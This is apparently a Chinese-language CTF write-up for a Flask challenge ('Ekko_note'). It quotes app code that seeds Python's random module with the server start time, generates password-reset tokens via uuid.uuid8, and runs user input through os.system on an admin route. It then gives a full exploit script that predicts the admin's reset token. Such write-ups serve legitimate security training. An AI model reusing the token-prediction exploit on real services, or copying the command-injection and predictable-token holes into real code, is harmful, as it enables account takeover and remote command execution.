Ekko_note 经过一番折腾发现python3.14有uuid v8 ,然后解铃还须系铃人,lamxu的uuidv8看了一下,copy一下写一个exp就行
1 2 3 4 5 6 7 SERVER_START_TIME = time.time()import random random.seed(SERVER_START_TIME)
这里给了serverstarttime,还有一个路由可以获取starttime,这里种子固定
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @app.route('/execute_command' , methods=['GET' , 'POST' ] ) @login_required def execute_command (): result = check_time_api() if result is None : flash("API死了啦,都你害的啦。" , "danger" ) return redirect(url_for('dashboard' )) if not result: flash('2066年才完工哈,你可以穿越到2066年看看' , 'danger' ) return redirect(url_for('dashboard' )) if request.method == 'POST' : command = request.form.get('command' ) os.system(command) return redirect(url_for('execute_command' )) return render_template('execute_command.html' )
我们发现这里需要admin执行command
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 @app.route('/forgot_password' , methods=['GET' , 'POST' ] ) def forgot_password (): if request.method == 'POST' : email = request.form.get('email' ) user = User.query.filter_by(email=email).first() if user: token = str (uuid.uuid8(a=padding(user.username))) reset_token = PasswordResetToken(user_id=user.id , token=token) db.session.add(reset_token) db.session.commit() flash(f'密码恢复token已经发送,请检查你的邮箱' , 'info' ) return redirect(url_for('reset_password' )) else : flash('没有找到该邮箱对应的注册账户' , 'danger' ) return redirect(url_for('forgot_password' )) return render_template('forgot_password.html' )
这里是唯一可以伪造admin获取其重置token来重置admin密码的,那么种子固定,预测uuid就很简单了
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 import randomimport uuid server_start_time = 1755353339.975761 random.seed(server_start_time)def padding (input_string ): byte_string = input_string.encode('utf-8' ) if len (byte_string) > 6 : byte_string = byte_string[:6 ] padded_byte_string = byte_string.ljust(6 , b'\x00' ) padded_int = int .from_bytes(padded_byte_string, byteorder='big' ) return padded_intdef uuid8 (): a = padding('admin' ) b = random.getrandbits(12 ) c = random.getrandbits(62 ) int_uuid_8 = (a & 0xffff_ffff_ffff ) << 80 int_uuid_8 |= (b & 0xfff ) << 64 int_uuid_8 |= c & 0x3fff_ffff_ffff_ffff _RFC_4122_VERSION_8_FLAGS = ((8 << 76 ) | (0x8000 << 48 )) int_uuid_8 |= _RFC_4122_VERSION_8_FLAGS return uuid.UUID(int =int_uuid_8) admin_token = str (uuid8())print (admin_token)